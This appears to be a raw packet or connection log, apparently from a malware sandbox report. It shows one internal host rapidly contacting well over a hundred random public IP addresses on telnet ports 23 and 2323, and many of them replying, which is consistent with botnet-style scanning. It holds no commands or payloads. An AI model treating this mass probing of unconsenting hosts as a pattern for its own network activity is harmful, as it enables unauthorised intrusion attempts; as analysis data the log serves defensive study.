Oct 8, 2024 20:34:48.187458038 CEST	48168	23	192.168.2.14	165.57.57.8
Oct 8, 2024 20:34:48.187474012 CEST	48168	23	192.168.2.14	68.239.103.122
Oct 8, 2024 20:34:48.187474966 CEST	48168	23	192.168.2.14	119.38.198.20
Oct 8, 2024 20:34:48.187483072 CEST	48168	23	192.168.2.14	88.126.110.22
Oct 8, 2024 20:34:48.187495947 CEST	48168	23	192.168.2.14	63.220.146.77
Oct 8, 2024 20:34:48.187501907 CEST	48168	2323	192.168.2.14	46.181.115.206
Oct 8, 2024 20:34:48.187504053 CEST	48168	23	192.168.2.14	89.51.132.71
Oct 8, 2024 20:34:48.187505960 CEST	48168	23	192.168.2.14	167.220.172.111
Oct 8, 2024 20:34:48.187520027 CEST	48168	23	192.168.2.14	142.47.228.180
Oct 8, 2024 20:34:48.187527895 CEST	48168	23	192.168.2.14	94.178.100.184
Oct 8, 2024 20:34:48.187531948 CEST	48168	23	192.168.2.14	101.59.236.175
Oct 8, 2024 20:34:48.187531948 CEST	48168	23	192.168.2.14	222.181.140.253
Oct 8, 2024 20:34:48.187531948 CEST	48168	23	192.168.2.14	168.81.143.153
Oct 8, 2024 20:34:48.187544107 CEST	48168	23	192.168.2.14	175.55.43.91
Oct 8, 2024 20:34:48.187561035 CEST	48168	23	192.168.2.14	189.23.146.6
Oct 8, 2024 20:34:48.187571049 CEST	48168	2323	192.168.2.14	187.84.136.164
Oct 8, 2024 20:34:48.187572956 CEST	48168	23	192.168.2.14	174.167.191.210
Oct 8, 2024 20:34:48.187572956 CEST	48168	23	192.168.2.14	208.143.8.241
Oct 8, 2024 20:34:48.187573910 CEST	48168	23	192.168.2.14	175.176.157.3
Oct 8, 2024 20:34:48.187575102 CEST	48168	23	192.168.2.14	124.98.15.122
Oct 8, 2024 20:34:48.187576056 CEST	48168	23	192.168.2.14	159.16.24.52
Oct 8, 2024 20:34:48.187587023 CEST	48168	23	192.168.2.14	200.119.227.181
Oct 8, 2024 20:34:48.187587023 CEST	48168	23	192.168.2.14	109.117.231.88
Oct 8, 2024 20:34:48.187597990 CEST	48168	23	192.168.2.14	221.10.236.205
Oct 8, 2024 20:34:48.187601089 CEST	48168	23	192.168.2.14	67.105.131.116
Oct 8, 2024 20:34:48.187602043 CEST	48168	2323	192.168.2.14	209.30.140.212
Oct 8, 2024 20:34:48.187602997 CEST	48168	23	192.168.2.14	196.146.199.225
Oct 8, 2024 20:34:48.187602997 CEST	48168	23	192.168.2.14	67.9.179.205
Oct 8, 2024 20:34:48.187616110 CEST	48168	23	192.168.2.14	202.223.53.151
Oct 8, 2024 20:34:48.187638998 CEST	48168	23	192.168.2.14	34.222.224.220
Oct 8, 2024 20:34:48.187639952 CEST	48168	23	192.168.2.14	103.148.68.238
Oct 8, 2024 20:34:48.187668085 CEST	48168	23	192.168.2.14	103.19.76.119
Oct 8, 2024 20:34:48.187670946 CEST	48168	23	192.168.2.14	38.78.151.49
Oct 8, 2024 20:34:48.187679052 CEST	48168	23	192.168.2.14	208.242.249.145
Oct 8, 2024 20:34:48.187680960 CEST	48168	23	192.168.2.14	32.44.8.45
Oct 8, 2024 20:34:48.187680960 CEST	48168	23	192.168.2.14	75.214.162.21
Oct 8, 2024 20:34:48.187688112 CEST	48168	2323	192.168.2.14	164.207.22.5
Oct 8, 2024 20:34:48.187705040 CEST	48168	23	192.168.2.14	62.97.192.226
Oct 8, 2024 20:34:48.187709093 CEST	48168	23	192.168.2.14	60.189.10.171
Oct 8, 2024 20:34:48.187730074 CEST	48168	23	192.168.2.14	220.166.128.5
Oct 8, 2024 20:34:48.187730074 CEST	48168	23	192.168.2.14	99.187.3.117
Oct 8, 2024 20:34:48.187736988 CEST	48168	23	192.168.2.14	164.21.215.89
Oct 8, 2024 20:34:48.187742949 CEST	48168	23	192.168.2.14	17.147.153.89
Oct 8, 2024 20:34:48.187745094 CEST	48168	23	192.168.2.14	178.93.0.220
Oct 8, 2024 20:34:48.187747002 CEST	48168	2323	192.168.2.14	133.255.217.200
Oct 8, 2024 20:34:48.187748909 CEST	48168	23	192.168.2.14	111.204.145.52
Oct 8, 2024 20:34:48.187748909 CEST	48168	23	192.168.2.14	114.92.3.204
Oct 8, 2024 20:34:48.187757969 CEST	48168	23	192.168.2.14	222.115.2.2
Oct 8, 2024 20:34:48.187760115 CEST	48168	23	192.168.2.14	213.71.104.39
Oct 8, 2024 20:34:48.187768936 CEST	48168	23	192.168.2.14	32.197.233.54
Oct 8, 2024 20:34:48.187778950 CEST	48168	23	192.168.2.14	41.216.146.225
Oct 8, 2024 20:34:48.187796116 CEST	48168	23	192.168.2.14	192.239.87.170
Oct 8, 2024 20:34:48.187798023 CEST	48168	23	192.168.2.14	138.225.140.167
Oct 8, 2024 20:34:48.187798023 CEST	48168	23	192.168.2.14	100.26.152.169
Oct 8, 2024 20:34:48.187812090 CEST	48168	23	192.168.2.14	35.126.139.236
Oct 8, 2024 20:34:48.187813044 CEST	48168	23	192.168.2.14	46.216.52.81
Oct 8, 2024 20:34:48.187824011 CEST	48168	2323	192.168.2.14	84.105.97.150
Oct 8, 2024 20:34:48.187839031 CEST	48168	23	192.168.2.14	18.135.98.135
Oct 8, 2024 20:34:48.187844038 CEST	48168	23	192.168.2.14	197.132.102.101
Oct 8, 2024 20:34:48.187844038 CEST	48168	23	192.168.2.14	210.21.140.194
Oct 8, 2024 20:34:48.187848091 CEST	48168	23	192.168.2.14	119.238.8.228
Oct 8, 2024 20:34:48.187851906 CEST	48168	23	192.168.2.14	117.5.12.128
Oct 8, 2024 20:34:48.187856913 CEST	48168	23	192.168.2.14	159.200.31.111
Oct 8, 2024 20:34:48.187868118 CEST	48168	23	192.168.2.14	37.111.46.95
Oct 8, 2024 20:34:48.187869072 CEST	48168	23	192.168.2.14	222.103.131.27
Oct 8, 2024 20:34:48.187869072 CEST	48168	2323	192.168.2.14	60.72.164.170
Oct 8, 2024 20:34:48.187868118 CEST	48168	23	192.168.2.14	133.167.116.13
Oct 8, 2024 20:34:48.187891006 CEST	48168	23	192.168.2.14	164.208.193.129
Oct 8, 2024 20:34:48.187891960 CEST	48168	23	192.168.2.14	196.250.82.7
Oct 8, 2024 20:34:48.187895060 CEST	48168	23	192.168.2.14	47.160.171.213
Oct 8, 2024 20:34:48.187896967 CEST	48168	23	192.168.2.14	173.51.92.47
Oct 8, 2024 20:34:48.187899113 CEST	48168	23	192.168.2.14	207.222.8.103
Oct 8, 2024 20:34:48.187902927 CEST	48168	23	192.168.2.14	90.9.175.67
Oct 8, 2024 20:34:48.187902927 CEST	48168	23	192.168.2.14	193.105.212.105
Oct 8, 2024 20:34:48.187907934 CEST	48168	2323	192.168.2.14	173.167.253.163
Oct 8, 2024 20:34:48.187910080 CEST	48168	23	192.168.2.14	99.192.13.21
Oct 8, 2024 20:34:48.187912941 CEST	48168	23	192.168.2.14	136.137.55.141
Oct 8, 2024 20:34:48.187912941 CEST	48168	23	192.168.2.14	176.109.26.243
Oct 8, 2024 20:34:48.187915087 CEST	48168	23	192.168.2.14	107.155.159.69
Oct 8, 2024 20:34:48.187915087 CEST	48168	23	192.168.2.14	12.127.195.109
Oct 8, 2024 20:34:48.187927961 CEST	48168	23	192.168.2.14	124.211.149.145
Oct 8, 2024 20:34:48.187936068 CEST	48168	23	192.168.2.14	196.173.150.68
Oct 8, 2024 20:34:48.187951088 CEST	48168	23	192.168.2.14	154.226.43.17
Oct 8, 2024 20:34:48.187951088 CEST	48168	23	192.168.2.14	171.112.40.184
Oct 8, 2024 20:34:48.187956095 CEST	48168	23	192.168.2.14	121.194.107.14
Oct 8, 2024 20:34:48.187956095 CEST	48168	23	192.168.2.14	169.239.98.239
Oct 8, 2024 20:34:48.187958002 CEST	48168	23	192.168.2.14	167.23.180.63
Oct 8, 2024 20:34:48.187958002 CEST	48168	2323	192.168.2.14	175.233.63.166
Oct 8, 2024 20:34:48.187963009 CEST	48168	23	192.168.2.14	204.191.229.189
Oct 8, 2024 20:34:48.187968016 CEST	48168	23	192.168.2.14	192.164.155.100
Oct 8, 2024 20:34:48.187980890 CEST	48168	23	192.168.2.14	35.29.225.111
Oct 8, 2024 20:34:48.187982082 CEST	48168	23	192.168.2.14	99.111.49.131
Oct 8, 2024 20:34:48.187982082 CEST	48168	23	192.168.2.14	136.5.171.77
Oct 8, 2024 20:34:48.188019037 CEST	48168	23	192.168.2.14	82.224.102.222
Oct 8, 2024 20:34:48.188023090 CEST	48168	23	192.168.2.14	202.23.211.57
Oct 8, 2024 20:34:48.188029051 CEST	48168	23	192.168.2.14	116.193.66.81
Oct 8, 2024 20:34:48.188031912 CEST	48168	2323	192.168.2.14	170.39.161.248
Oct 8, 2024 20:34:48.188044071 CEST	48168	23	192.168.2.14	8.190.255.54
Oct 8, 2024 20:34:48.188046932 CEST	48168	23	192.168.2.14	97.242.156.118
Oct 8, 2024 20:34:48.188051939 CEST	48168	23	192.168.2.14	14.147.128.232
Oct 8, 2024 20:34:48.188054085 CEST	48168	23	192.168.2.14	202.160.228.110
Oct 8, 2024 20:34:48.188057899 CEST	48168	23	192.168.2.14	188.61.96.37
Oct 8, 2024 20:34:48.188061953 CEST	48168	23	192.168.2.14	141.172.149.64
Oct 8, 2024 20:34:48.188065052 CEST	48168	23	192.168.2.14	161.145.252.63
Oct 8, 2024 20:34:48.188081980 CEST	48168	23	192.168.2.14	145.215.130.24
Oct 8, 2024 20:34:48.188082933 CEST	48168	23	192.168.2.14	4.98.93.221
Oct 8, 2024 20:34:48.188087940 CEST	48168	23	192.168.2.14	221.126.249.118
Oct 8, 2024 20:34:48.188087940 CEST	48168	2323	192.168.2.14	75.210.160.226
Oct 8, 2024 20:34:48.188090086 CEST	48168	23	192.168.2.14	192.25.72.79
Oct 8, 2024 20:34:48.188103914 CEST	48168	23	192.168.2.14	148.85.79.39
Oct 8, 2024 20:34:48.188106060 CEST	48168	23	192.168.2.14	24.70.138.105
Oct 8, 2024 20:34:48.188112020 CEST	48168	23	192.168.2.14	39.218.231.253
Oct 8, 2024 20:34:48.188117027 CEST	48168	23	192.168.2.14	160.20.251.190
Oct 8, 2024 20:34:48.188133955 CEST	48168	23	192.168.2.14	106.29.106.140
Oct 8, 2024 20:34:48.188136101 CEST	48168	23	192.168.2.14	78.168.41.33
Oct 8, 2024 20:34:48.188149929 CEST	48168	23	192.168.2.14	48.207.88.76
Oct 8, 2024 20:34:48.191838026 CEST	23	33588	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:48.191857100 CEST	23	33606	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:48.191904068 CEST	33606	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:48.192753077 CEST	2323	48168	136.5.84.1	192.168.2.14
Oct 8, 2024 20:34:48.192769051 CEST	23	48168	92.2.115.244	192.168.2.14
Oct 8, 2024 20:34:48.192783117 CEST	23	48168	188.216.199.195	192.168.2.14
Oct 8, 2024 20:34:48.192796946 CEST	23	48168	210.156.117.176	192.168.2.14
Oct 8, 2024 20:34:48.192802906 CEST	48168	2323	192.168.2.14	136.5.84.1
Oct 8, 2024 20:34:48.192811966 CEST	23	48168	94.20.43.176	192.168.2.14
Oct 8, 2024 20:34:48.192820072 CEST	48168	23	192.168.2.14	188.216.199.195
Oct 8, 2024 20:34:48.192826986 CEST	23	48168	190.1.114.14	192.168.2.14
Oct 8, 2024 20:34:48.192833900 CEST	48168	23	192.168.2.14	92.2.115.244
Oct 8, 2024 20:34:48.192843914 CEST	48168	23	192.168.2.14	210.156.117.176
Oct 8, 2024 20:34:48.192847967 CEST	23	48168	72.251.170.74	192.168.2.14
Oct 8, 2024 20:34:48.192859888 CEST	48168	23	192.168.2.14	94.20.43.176
Oct 8, 2024 20:34:48.192863941 CEST	23	48168	71.110.160.34	192.168.2.14
Oct 8, 2024 20:34:48.192893028 CEST	23	48168	171.241.9.227	192.168.2.14
Oct 8, 2024 20:34:48.192897081 CEST	48168	23	192.168.2.14	190.1.114.14
Oct 8, 2024 20:34:48.192897081 CEST	48168	23	192.168.2.14	72.251.170.74
Oct 8, 2024 20:34:48.192897081 CEST	48168	23	192.168.2.14	71.110.160.34
Oct 8, 2024 20:34:48.192908049 CEST	23	48168	78.11.94.202	192.168.2.14
Oct 8, 2024 20:34:48.192922115 CEST	2323	48168	146.131.167.81	192.168.2.14
Oct 8, 2024 20:34:48.192924976 CEST	48168	23	192.168.2.14	171.241.9.227
Oct 8, 2024 20:34:48.192939043 CEST	48168	23	192.168.2.14	78.11.94.202
Oct 8, 2024 20:34:48.192940950 CEST	23	48168	187.120.188.65	192.168.2.14
Oct 8, 2024 20:34:48.192955017 CEST	23	48168	117.163.200.182	192.168.2.14
Oct 8, 2024 20:34:48.192956924 CEST	48168	2323	192.168.2.14	146.131.167.81
Oct 8, 2024 20:34:48.192969084 CEST	23	48168	124.164.152.91	192.168.2.14
Oct 8, 2024 20:34:48.192977905 CEST	48168	23	192.168.2.14	187.120.188.65
Oct 8, 2024 20:34:48.192982912 CEST	23	48168	208.86.116.162	192.168.2.14
Oct 8, 2024 20:34:48.192996979 CEST	23	48168	121.252.245.141	192.168.2.14
Oct 8, 2024 20:34:48.193006039 CEST	48168	23	192.168.2.14	124.164.152.91
Oct 8, 2024 20:34:48.193011045 CEST	23	48168	87.58.128.59	192.168.2.14
Oct 8, 2024 20:34:48.193023920 CEST	2323	48168	118.131.45.33	192.168.2.14
Oct 8, 2024 20:34:48.193028927 CEST	48168	23	192.168.2.14	208.86.116.162
Oct 8, 2024 20:34:48.193037987 CEST	23	48168	43.119.254.165	192.168.2.14
Oct 8, 2024 20:34:48.193048954 CEST	48168	23	192.168.2.14	87.58.128.59
Oct 8, 2024 20:34:48.193051100 CEST	23	48168	121.228.207.18	192.168.2.14
Oct 8, 2024 20:34:48.193053007 CEST	48168	23	192.168.2.14	121.252.245.141
Oct 8, 2024 20:34:48.193053007 CEST	48168	2323	192.168.2.14	118.131.45.33
Oct 8, 2024 20:34:48.193064928 CEST	23	48168	79.217.121.222	192.168.2.14
Oct 8, 2024 20:34:48.193070889 CEST	48168	23	192.168.2.14	117.163.200.182
Oct 8, 2024 20:34:48.193070889 CEST	48168	23	192.168.2.14	43.119.254.165
Oct 8, 2024 20:34:48.193085909 CEST	23	48168	59.74.44.38	192.168.2.14
Oct 8, 2024 20:34:48.193090916 CEST	48168	23	192.168.2.14	121.228.207.18
Oct 8, 2024 20:34:48.193099976 CEST	23	48168	170.129.12.122	192.168.2.14
Oct 8, 2024 20:34:48.193108082 CEST	48168	23	192.168.2.14	79.217.121.222
Oct 8, 2024 20:34:48.193116903 CEST	23	48168	218.60.140.176	192.168.2.14
Oct 8, 2024 20:34:48.193120003 CEST	48168	23	192.168.2.14	59.74.44.38
Oct 8, 2024 20:34:48.193131924 CEST	23	48168	190.204.151.66	192.168.2.14
Oct 8, 2024 20:34:48.193145990 CEST	23	48168	92.224.212.137	192.168.2.14
Oct 8, 2024 20:34:48.193154097 CEST	48168	23	192.168.2.14	170.129.12.122
Oct 8, 2024 20:34:48.193156004 CEST	48168	23	192.168.2.14	218.60.140.176
Oct 8, 2024 20:34:48.193160057 CEST	23	48168	93.46.46.242	192.168.2.14
Oct 8, 2024 20:34:48.193161011 CEST	48168	23	192.168.2.14	190.204.151.66
Oct 8, 2024 20:34:48.193173885 CEST	23	48168	80.167.211.207	192.168.2.14
Oct 8, 2024 20:34:48.193186998 CEST	23	48168	42.235.195.39	192.168.2.14
Oct 8, 2024 20:34:48.193191051 CEST	48168	23	192.168.2.14	92.224.212.137
Oct 8, 2024 20:34:48.193192959 CEST	48168	23	192.168.2.14	93.46.46.242
Oct 8, 2024 20:34:48.193202019 CEST	2323	48168	219.206.150.47	192.168.2.14
Oct 8, 2024 20:34:48.193203926 CEST	48168	23	192.168.2.14	80.167.211.207
Oct 8, 2024 20:34:48.193217993 CEST	23	48168	79.82.98.156	192.168.2.14
Oct 8, 2024 20:34:48.193236113 CEST	23	48168	156.117.2.87	192.168.2.14
Oct 8, 2024 20:34:48.193237066 CEST	48168	2323	192.168.2.14	219.206.150.47
Oct 8, 2024 20:34:48.193250895 CEST	23	48168	109.65.146.126	192.168.2.14
Oct 8, 2024 20:34:48.193260908 CEST	48168	23	192.168.2.14	42.235.195.39
Oct 8, 2024 20:34:48.193263054 CEST	48168	23	192.168.2.14	79.82.98.156
Oct 8, 2024 20:34:48.193264961 CEST	23	48168	118.91.211.242	192.168.2.14
Oct 8, 2024 20:34:48.193279028 CEST	23	48168	154.69.35.39	192.168.2.14
Oct 8, 2024 20:34:48.193291903 CEST	23	48168	143.1.244.216	192.168.2.14
Oct 8, 2024 20:34:48.193295956 CEST	48168	23	192.168.2.14	109.65.146.126
Oct 8, 2024 20:34:48.193305969 CEST	23	48168	109.14.173.164	192.168.2.14
Oct 8, 2024 20:34:48.193308115 CEST	48168	23	192.168.2.14	156.117.2.87
Oct 8, 2024 20:34:48.193309069 CEST	48168	23	192.168.2.14	154.69.35.39
Oct 8, 2024 20:34:48.193320036 CEST	23	48168	114.136.208.60	192.168.2.14
Oct 8, 2024 20:34:48.193320990 CEST	48168	23	192.168.2.14	118.91.211.242
Oct 8, 2024 20:34:48.193320990 CEST	48168	23	192.168.2.14	143.1.244.216
Oct 8, 2024 20:34:48.193334103 CEST	23	48168	157.226.161.200	192.168.2.14
Oct 8, 2024 20:34:48.193347931 CEST	23	48168	23.61.218.219	192.168.2.14
Oct 8, 2024 20:34:48.193360090 CEST	48168	23	192.168.2.14	109.14.173.164
Oct 8, 2024 20:34:48.193360090 CEST	48168	23	192.168.2.14	114.136.208.60
Oct 8, 2024 20:34:48.193361044 CEST	2323	48168	183.255.92.207	192.168.2.14
Oct 8, 2024 20:34:48.193370104 CEST	48168	23	192.168.2.14	157.226.161.200
Oct 8, 2024 20:34:48.193375111 CEST	23	48168	101.195.186.64	192.168.2.14
Oct 8, 2024 20:34:48.193388939 CEST	23	48168	36.215.102.167	192.168.2.14
Oct 8, 2024 20:34:48.193392038 CEST	48168	2323	192.168.2.14	183.255.92.207
Oct 8, 2024 20:34:48.193412066 CEST	48168	23	192.168.2.14	101.195.186.64
Oct 8, 2024 20:34:48.193416119 CEST	23	48168	211.237.255.192	192.168.2.14
Oct 8, 2024 20:34:48.193428040 CEST	48168	23	192.168.2.14	36.215.102.167
Oct 8, 2024 20:34:48.193429947 CEST	23	48168	165.57.57.8	192.168.2.14
Oct 8, 2024 20:34:48.193439007 CEST	48168	23	192.168.2.14	23.61.218.219
Oct 8, 2024 20:34:48.193444967 CEST	23	48168	68.239.103.122	192.168.2.14
Oct 8, 2024 20:34:48.193449020 CEST	48168	23	192.168.2.14	211.237.255.192
Oct 8, 2024 20:34:48.193460941 CEST	48168	23	192.168.2.14	165.57.57.8
Oct 8, 2024 20:34:48.193480968 CEST	48168	23	192.168.2.14	68.239.103.122
Oct 8, 2024 20:34:48.193502903 CEST	23	48168	119.38.198.20	192.168.2.14
Oct 8, 2024 20:34:48.193516970 CEST	23	48168	88.126.110.22	192.168.2.14
Oct 8, 2024 20:34:48.193530083 CEST	23	48168	63.220.146.77	192.168.2.14
Oct 8, 2024 20:34:48.193543911 CEST	2323	48168	46.181.115.206	192.168.2.14
Oct 8, 2024 20:34:48.193546057 CEST	48168	23	192.168.2.14	119.38.198.20
Oct 8, 2024 20:34:48.193550110 CEST	48168	23	192.168.2.14	88.126.110.22
Oct 8, 2024 20:34:48.193557024 CEST	23	48168	89.51.132.71	192.168.2.14
Oct 8, 2024 20:34:48.193563938 CEST	48168	23	192.168.2.14	63.220.146.77
Oct 8, 2024 20:34:48.193572998 CEST	23	48168	167.220.172.111	192.168.2.14
Oct 8, 2024 20:34:48.193573952 CEST	48168	2323	192.168.2.14	46.181.115.206
Oct 8, 2024 20:34:48.193588018 CEST	23	48168	142.47.228.180	192.168.2.14
Oct 8, 2024 20:34:48.193600893 CEST	23	48168	94.178.100.184	192.168.2.14
Oct 8, 2024 20:34:48.193600893 CEST	48168	23	192.168.2.14	89.51.132.71
Oct 8, 2024 20:34:48.193604946 CEST	48168	23	192.168.2.14	167.220.172.111
Oct 8, 2024 20:34:48.193615913 CEST	23	48168	101.59.236.175	192.168.2.14
Oct 8, 2024 20:34:48.193624973 CEST	48168	23	192.168.2.14	142.47.228.180
Oct 8, 2024 20:34:48.193629980 CEST	48168	23	192.168.2.14	94.178.100.184
Oct 8, 2024 20:34:48.193630934 CEST	23	48168	222.181.140.253	192.168.2.14
Oct 8, 2024 20:34:48.193645000 CEST	23	48168	168.81.143.153	192.168.2.14
Oct 8, 2024 20:34:48.193659067 CEST	23	48168	175.55.43.91	192.168.2.14
Oct 8, 2024 20:34:48.193669081 CEST	48168	23	192.168.2.14	101.59.236.175
Oct 8, 2024 20:34:48.193669081 CEST	48168	23	192.168.2.14	222.181.140.253
Oct 8, 2024 20:34:48.193674088 CEST	23	48168	189.23.146.6	192.168.2.14
Oct 8, 2024 20:34:48.193687916 CEST	2323	48168	187.84.136.164	192.168.2.14
Oct 8, 2024 20:34:48.193692923 CEST	48168	23	192.168.2.14	175.55.43.91
Oct 8, 2024 20:34:48.193702936 CEST	48168	23	192.168.2.14	189.23.146.6
Oct 8, 2024 20:34:48.193702936 CEST	23	48168	175.176.157.3	192.168.2.14
Oct 8, 2024 20:34:48.193717957 CEST	23	48168	208.143.8.241	192.168.2.14
Oct 8, 2024 20:34:48.193725109 CEST	48168	2323	192.168.2.14	187.84.136.164
Oct 8, 2024 20:34:48.193731070 CEST	23	48168	124.98.15.122	192.168.2.14
Oct 8, 2024 20:34:48.193736076 CEST	48168	23	192.168.2.14	175.176.157.3
Oct 8, 2024 20:34:48.193746090 CEST	23	48168	174.167.191.210	192.168.2.14
Oct 8, 2024 20:34:48.193756104 CEST	48168	23	192.168.2.14	208.143.8.241
Oct 8, 2024 20:34:48.193759918 CEST	23	48168	159.16.24.52	192.168.2.14
Oct 8, 2024 20:34:48.193763018 CEST	48168	23	192.168.2.14	168.81.143.153
Oct 8, 2024 20:34:48.193763018 CEST	48168	23	192.168.2.14	124.98.15.122
Oct 8, 2024 20:34:48.193773031 CEST	23	48168	200.119.227.181	192.168.2.14
Oct 8, 2024 20:34:48.193789005 CEST	23	48168	109.117.231.88	192.168.2.14
Oct 8, 2024 20:34:48.193797112 CEST	48168	23	192.168.2.14	159.16.24.52
Oct 8, 2024 20:34:48.193803072 CEST	48168	23	192.168.2.14	174.167.191.210
Oct 8, 2024 20:34:48.193804979 CEST	23	48168	221.10.236.205	192.168.2.14
Oct 8, 2024 20:34:48.193813086 CEST	48168	23	192.168.2.14	200.119.227.181
Oct 8, 2024 20:34:48.193833113 CEST	48168	23	192.168.2.14	109.117.231.88
Oct 8, 2024 20:34:48.193849087 CEST	48168	23	192.168.2.14	221.10.236.205
Oct 8, 2024 20:34:48.194303989 CEST	23	48168	67.105.131.116	192.168.2.14
Oct 8, 2024 20:34:48.194319010 CEST	2323	48168	209.30.140.212	192.168.2.14
Oct 8, 2024 20:34:48.194331884 CEST	23	48168	196.146.199.225	192.168.2.14
Oct 8, 2024 20:34:48.194345951 CEST	23	48168	67.9.179.205	192.168.2.14
Oct 8, 2024 20:34:48.194346905 CEST	48168	23	192.168.2.14	67.105.131.116
Oct 8, 2024 20:34:48.194355965 CEST	48168	2323	192.168.2.14	209.30.140.212
Oct 8, 2024 20:34:48.194360018 CEST	23	48168	202.223.53.151	192.168.2.14
Oct 8, 2024 20:34:48.194364071 CEST	48168	23	192.168.2.14	196.146.199.225
Oct 8, 2024 20:34:48.194375992 CEST	23	48168	34.222.224.220	192.168.2.14
Oct 8, 2024 20:34:48.194386005 CEST	48168	23	192.168.2.14	67.9.179.205
Oct 8, 2024 20:34:48.194390059 CEST	23	48168	103.148.68.238	192.168.2.14
Oct 8, 2024 20:34:48.194392920 CEST	48168	23	192.168.2.14	202.223.53.151
Oct 8, 2024 20:34:48.194402933 CEST	23	48168	103.19.76.119	192.168.2.14
Oct 8, 2024 20:34:48.194410086 CEST	48168	23	192.168.2.14	34.222.224.220
Oct 8, 2024 20:34:48.194417000 CEST	23	48168	38.78.151.49	192.168.2.14
Oct 8, 2024 20:34:48.194432020 CEST	23	48168	208.242.249.145	192.168.2.14
Oct 8, 2024 20:34:48.194441080 CEST	48168	23	192.168.2.14	103.19.76.119
Oct 8, 2024 20:34:48.194444895 CEST	23	48168	32.44.8.45	192.168.2.14
Oct 8, 2024 20:34:48.194453955 CEST	48168	23	192.168.2.14	103.148.68.238
Oct 8, 2024 20:34:48.194457054 CEST	23	48168	75.214.162.21	192.168.2.14
Oct 8, 2024 20:34:48.194469929 CEST	2323	48168	164.207.22.5	192.168.2.14
Oct 8, 2024 20:34:48.194483995 CEST	23	48168	62.97.192.226	192.168.2.14
Oct 8, 2024 20:34:48.194487095 CEST	48168	23	192.168.2.14	75.214.162.21
Oct 8, 2024 20:34:48.194498062 CEST	23	48168	60.189.10.171	192.168.2.14
Oct 8, 2024 20:34:48.194511890 CEST	23	48168	220.166.128.5	192.168.2.14
Oct 8, 2024 20:34:48.194525003 CEST	48168	23	192.168.2.14	62.97.192.226
Oct 8, 2024 20:34:48.194525003 CEST	23	48168	164.21.215.89	192.168.2.14
Oct 8, 2024 20:34:48.194539070 CEST	23	48168	99.187.3.117	192.168.2.14
Oct 8, 2024 20:34:48.194547892 CEST	48168	23	192.168.2.14	220.166.128.5
Oct 8, 2024 20:34:48.194554090 CEST	23	48168	17.147.153.89	192.168.2.14
Oct 8, 2024 20:34:48.194555998 CEST	48168	23	192.168.2.14	164.21.215.89
Oct 8, 2024 20:34:48.194567919 CEST	23	48168	178.93.0.220	192.168.2.14
Oct 8, 2024 20:34:48.194582939 CEST	2323	48168	133.255.217.200	192.168.2.14
Oct 8, 2024 20:34:48.194586039 CEST	48168	23	192.168.2.14	17.147.153.89
Oct 8, 2024 20:34:48.194587946 CEST	48168	23	192.168.2.14	99.187.3.117
Oct 8, 2024 20:34:48.194593906 CEST	48168	23	192.168.2.14	38.78.151.49
Oct 8, 2024 20:34:48.194597006 CEST	23	48168	111.204.145.52	192.168.2.14
Oct 8, 2024 20:34:48.194607019 CEST	23	48168	114.92.3.204	192.168.2.14
Oct 8, 2024 20:34:48.194623947 CEST	23	48168	222.115.2.2	192.168.2.14
Oct 8, 2024 20:34:48.194628954 CEST	48168	23	192.168.2.14	208.242.249.145
Oct 8, 2024 20:34:48.194628954 CEST	48168	2323	192.168.2.14	164.207.22.5
Oct 8, 2024 20:34:48.194638968 CEST	48168	23	192.168.2.14	111.204.145.52
Oct 8, 2024 20:34:48.194641113 CEST	48168	23	192.168.2.14	60.189.10.171
Oct 8, 2024 20:34:48.194643974 CEST	48168	23	192.168.2.14	32.44.8.45
Oct 8, 2024 20:34:48.194643974 CEST	48168	23	192.168.2.14	178.93.0.220
Oct 8, 2024 20:34:48.194653034 CEST	48168	2323	192.168.2.14	133.255.217.200
Oct 8, 2024 20:34:48.194659948 CEST	23	48168	213.71.104.39	192.168.2.14
Oct 8, 2024 20:34:48.194660902 CEST	48168	23	192.168.2.14	222.115.2.2
Oct 8, 2024 20:34:48.194674969 CEST	23	48168	32.197.233.54	192.168.2.14
Oct 8, 2024 20:34:48.194675922 CEST	48168	23	192.168.2.14	114.92.3.204
Oct 8, 2024 20:34:48.194689035 CEST	23	48168	41.216.146.225	192.168.2.14
Oct 8, 2024 20:34:48.194696903 CEST	48168	23	192.168.2.14	213.71.104.39
Oct 8, 2024 20:34:48.194703102 CEST	23	48168	192.239.87.170	192.168.2.14
Oct 8, 2024 20:34:48.194715023 CEST	48168	23	192.168.2.14	32.197.233.54
Oct 8, 2024 20:34:48.194715977 CEST	23	48168	138.225.140.167	192.168.2.14
Oct 8, 2024 20:34:48.194730043 CEST	23	48168	100.26.152.169	192.168.2.14
Oct 8, 2024 20:34:48.194732904 CEST	48168	23	192.168.2.14	192.239.87.170
Oct 8, 2024 20:34:48.194742918 CEST	23	48168	35.126.139.236	192.168.2.14
Oct 8, 2024 20:34:48.194745064 CEST	48168	23	192.168.2.14	41.216.146.225
Oct 8, 2024 20:34:48.194749117 CEST	48168	23	192.168.2.14	138.225.140.167
Oct 8, 2024 20:34:48.194757938 CEST	23	48168	46.216.52.81	192.168.2.14
Oct 8, 2024 20:34:48.194771051 CEST	48168	23	192.168.2.14	100.26.152.169
Oct 8, 2024 20:34:48.194771051 CEST	2323	48168	84.105.97.150	192.168.2.14
Oct 8, 2024 20:34:48.194782972 CEST	48168	23	192.168.2.14	35.126.139.236
Oct 8, 2024 20:34:48.194787025 CEST	23	48168	18.135.98.135	192.168.2.14
Oct 8, 2024 20:34:48.194794893 CEST	48168	23	192.168.2.14	46.216.52.81
Oct 8, 2024 20:34:48.194799900 CEST	23	48168	197.132.102.101	192.168.2.14
Oct 8, 2024 20:34:48.194813967 CEST	23	48168	210.21.140.194	192.168.2.14
Oct 8, 2024 20:34:48.194818020 CEST	48168	2323	192.168.2.14	84.105.97.150
Oct 8, 2024 20:34:48.194822073 CEST	48168	23	192.168.2.14	18.135.98.135
Oct 8, 2024 20:34:48.194829941 CEST	23	48168	119.238.8.228	192.168.2.14
Oct 8, 2024 20:34:48.194840908 CEST	48168	23	192.168.2.14	197.132.102.101
Oct 8, 2024 20:34:48.194840908 CEST	48168	23	192.168.2.14	210.21.140.194
Oct 8, 2024 20:34:48.194844961 CEST	23	48168	117.5.12.128	192.168.2.14
Oct 8, 2024 20:34:48.194860935 CEST	23	48168	159.200.31.111	192.168.2.14
Oct 8, 2024 20:34:48.194870949 CEST	48168	23	192.168.2.14	119.238.8.228
Oct 8, 2024 20:34:48.194874048 CEST	23	48168	222.103.131.27	192.168.2.14
